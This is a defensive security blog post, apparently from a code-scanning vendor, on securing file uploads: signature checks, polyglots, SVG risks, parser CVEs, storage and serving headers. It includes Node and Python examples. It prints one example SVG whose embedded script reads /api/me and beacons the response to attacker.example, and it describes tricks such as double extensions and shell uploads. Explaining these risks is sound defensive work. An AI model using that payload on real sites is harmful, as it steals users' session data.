An upload feature asks the server to accept bytes chosen by a stranger, store them somewhere, often hand them to a parser, and later serve them back to other users. Each of those four steps has its own way to go wrong, and most upload validation only looks at the first one: a Content-Type header and a file extension, both written by the client.
This post walks through the four steps in order: what the file really is, what parses it, where it lands, and how it is served. It covers SVG, polyglot files, image processing libraries with real CVEs, and code for Node and Python.
Step 1: what the file really is
The Content-Type of a multipart part and the original filename both come from the client. The OWASP File Upload Cheat Sheet calls the header "trivial to spoof" and recommends it only as a quick first check. Extension checks have their own pitfalls: double extensions (avatar.jpg.php), case tricks (.PhP), alternative extensions the server still executes (.phtml), and null bytes or trailing dots depending on the platform.
What works is an allowlist on content, not on labels: read the first bytes of the file and match them against the signatures of the few types you accept.
const SIGNATURES = {
png: Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]),
jpg: Buffer.from([0xff, 0xd8, 0xff]),
};
function sniffImageType(buf) {
for (const [ext, sig] of Object.entries(SIGNATURES)) {
if (buf.length >= sig.length && buf.subarray(0, sig.length).equals(sig)) return ext;
}
return null; // not a type we accept
}The OWASP sheet is clear that a signature check is necessary but not sufficient, because of the next problem.
Polyglots: one file, two valid types
A polyglot is a file that is valid as two formats at once. A JPEG can carry HTML or JavaScript in a comment segment and still render as an image. A GIF header can sit in front of text that a browser will run as a script if it decides the response is HTML or JavaScript. The magic bytes are right, the image decodes, and the file still executes when the browser treats it as something else.
That is why the defences for polyglots live in steps 2 and 4: rewrite the file so only image data survives, and serve it in a way that stops the browser from reinterpreting it.
SVG is a document, not a picture
SVG is XML that can contain <script>, event handler attributes and <foreignObject> with HTML inside. This is a valid SVG file:
<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10">
<rect width="10" height="10" fill="red" />
<script>fetch("/api/me").then(r => r.text()).then(t => navigator.sendBeacon("https://attacker.example", t))</script>
</svg>Rendered through <img src="avatar.svg">, browsers do not run its scripts. Opened directly, as a top-level document on your origin with Content-Type: image/svg+xml, it runs with your cookies and your same-origin access. A user who clicks "open image in new tab" is enough.
If you do not need SVG uploads, reject them. If you do, sanitize them server side with an SVG-aware allowlist sanitizer, and serve them with the headers in step 4. Frameworks know this risk: the Next.js Image docs reject SVG in the image optimizer by default, and if you set dangerouslyAllowSVG: true they strongly recommend contentDispositionType: 'attachment' and a contentSecurityPolicy of default-src 'self'; script-src 'none'; sandbox;.
Step 2: what parses it
Uploads are often handed straight to a converter: a thumbnailer, a metadata reader, a PDF renderer, a video transcoder. Those parsers handle dozens of formats and have a long CVE history.
- CVE-2021-22204: ExifTool mishandled user data in the DjVu format and allowed arbitrary code execution when parsing a malicious image.
- CVE-2021-22205: GitLab passed uploaded image files to that parser without proper validation, giving remote command execution. NVD scores it 10.0 and it is on CISA's Known Exploited Vulnerabilities list.
- CVE-2022-44268: ImageMagick 7.1.0-49, when resizing a crafted PNG, could embed the contents of an arbitrary local file in the output image. The attacker uploads, then downloads their own thumbnail.
The GitLab case is the important pattern. The file extension said image, the parser looked at the content, and the content was a different format. Defences:
- Check the signature before the parser sees the file, and pass the parser an explicit format (
png:inputfor ImageMagick) instead of letting it guess. - Restrict the formats the library will open. ImageMagick has a security policy file for exactly this.
- Run converters in a sandbox or a separate worker with no credentials, no network and resource limits.
- Keep the libraries patched. They are dependencies even when they are system packages.
Re-encoding images is the strongest polyglot defence, because only pixel data survives. In Python with Pillow:
from io import BytesIO
from PIL import Image
MAX_PIXELS = 40_000_000
def reencode_image(data: bytes) -> bytes:
with Image.open(BytesIO(data)) as img:
img.verify() # structural check; the image cannot be used after this
with Image.open(BytesIO(data)) as img:
if img.format not in {"PNG", "JPEG"}:
raise ValueError("unsupported image type")
if img.width * img.height > MAX_PIXELS:
raise ValueError("image too large")
out = BytesIO()
img.convert("RGBA").save(out, format="PNG") # metadata is not copied
return out.getvalue()Step 3: where the bytes land
The classic upload RCE is not clever: a PHP app moves shell.php into a directory the web server executes, using the name the client sent. The fixes are structural.
- Generate the stored name. Use a random id, keep the original name only as metadata, and never build a path from it.
- Store outside the web root. Better, store in object storage or on a separate host. Make the bucket private and serve through your application or short-lived signed URLs.
- Turn off execution in upload directories. Disable per-directory overrides such as
.htaccessandweb.config, as the OWASP sheet recommends. - Limit size before you buffer. Set the multipart limit in the framework, and measure decompressed size before extracting archives.
const multer = require("multer");
const { randomUUID } = require("node:crypto");
const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 5 * 1024 * 1024, files: 1 } });
app.post("/avatar", requireUser, upload.single("file"), async (req, res) => {
const type = req.file && sniffImageType(req.file.buffer);
if (!type) return res.status(415).json({ error: "PNG or JPEG only" });
const key = `avatars/${req.user.id}/${randomUUID()}.${type}`;
await storage.putPrivate(key, req.file.buffer, `image/${type === "jpg" ? "jpeg" : "png"}`);
res.status(201).json({ key });
});Step 4: how it is served
When a file goes back to a browser, four headers decide whether it can execute:
Content-Type: image/png (from your allowlist, never from the upload)
X-Content-Type-Options: nosniff
Content-Disposition: attachment; filename="avatar.png"
Content-Security-Policy: default-src 'none'; sandboxnosniff stops the browser from second-guessing the type, attachment turns navigation into a download for anything that does not need to display inline, and the sandbox CSP neuters script in a document that is opened anyway. Serving user content from a separate domain (not a subdomain that shares cookies) removes the remaining same-origin value of a successful XSS.
Checklist
| Step | Check |
|---|---|
| Identify | Signature allowlist; Content-Type and extension treated as hints |
| Parse | Explicit format, restricted coders, sandboxed worker, patched library, re-encode images |
| Store | Generated name, private storage outside the web root, size limits |
| Serve | Fixed Content-Type, nosniff, attachment where possible, sandbox CSP, separate domain |
Finding upload bugs with Vulkro
Vulkro Core has rules for each step:
vulkro scan . --format json > findings.json
vulkro explain R2-WEB-007| Rule | What it flags |
|---|---|
no-upload-validation-in-window |
A multer, formidable, FastAPI or Flask upload handler with no MIME or extension allowlist |
php-unrestricted-upload |
move_uploaded_file (or copy / rename of an upload) to a path built from request data or the client filename |
java-multipart-client-filename-into-store |
Spring getOriginalFilename() reaching a store with no allowlist |
R2-WEB-007 |
An uploaded file handed to ExifTool, ImageMagick, Ghostscript, ffmpeg, LibreOffice or poppler with no type check |
mime-source-from-request |
A request Content-Type cleaned by whitespace stripping before an allowlist check |
framework-nextjs-image-dangerous-svg |
dangerouslyAllowSVG: true in next.config |
Path traversal through upload names is covered by the taint rules (py-taint-path-001, java-taint-path-001, go-taint-path-001). Serving headers and storage policy usually live outside the code, so review those by hand.
FAQ
Is checking the file extension enough for upload security?
No. The extension and the Content-Type are both chosen by the client. Check the file signature against an allowlist, re-encode images where you can, store under a generated name and serve with a fixed Content-Type and nosniff.
Can an SVG upload cause XSS?
Yes. SVG can contain script and event handlers. Inside an <img> tag the scripts do not run, but if the file is opened directly from your origin they do. Reject SVG, sanitize it, or serve it as an attachment with a sandbox CSP from a separate domain.
What is a polyglot file?
A file that is valid in two formats at once, such as an image that is also HTML or JavaScript. It passes a signature check and decodes as an image, then executes if a browser or parser treats it as the other format.
See the API security use case and the OWASP API Top 10 rules, or start a 14-day trial. Related: path traversal in file downloads and uploads and XXE in Java and Python.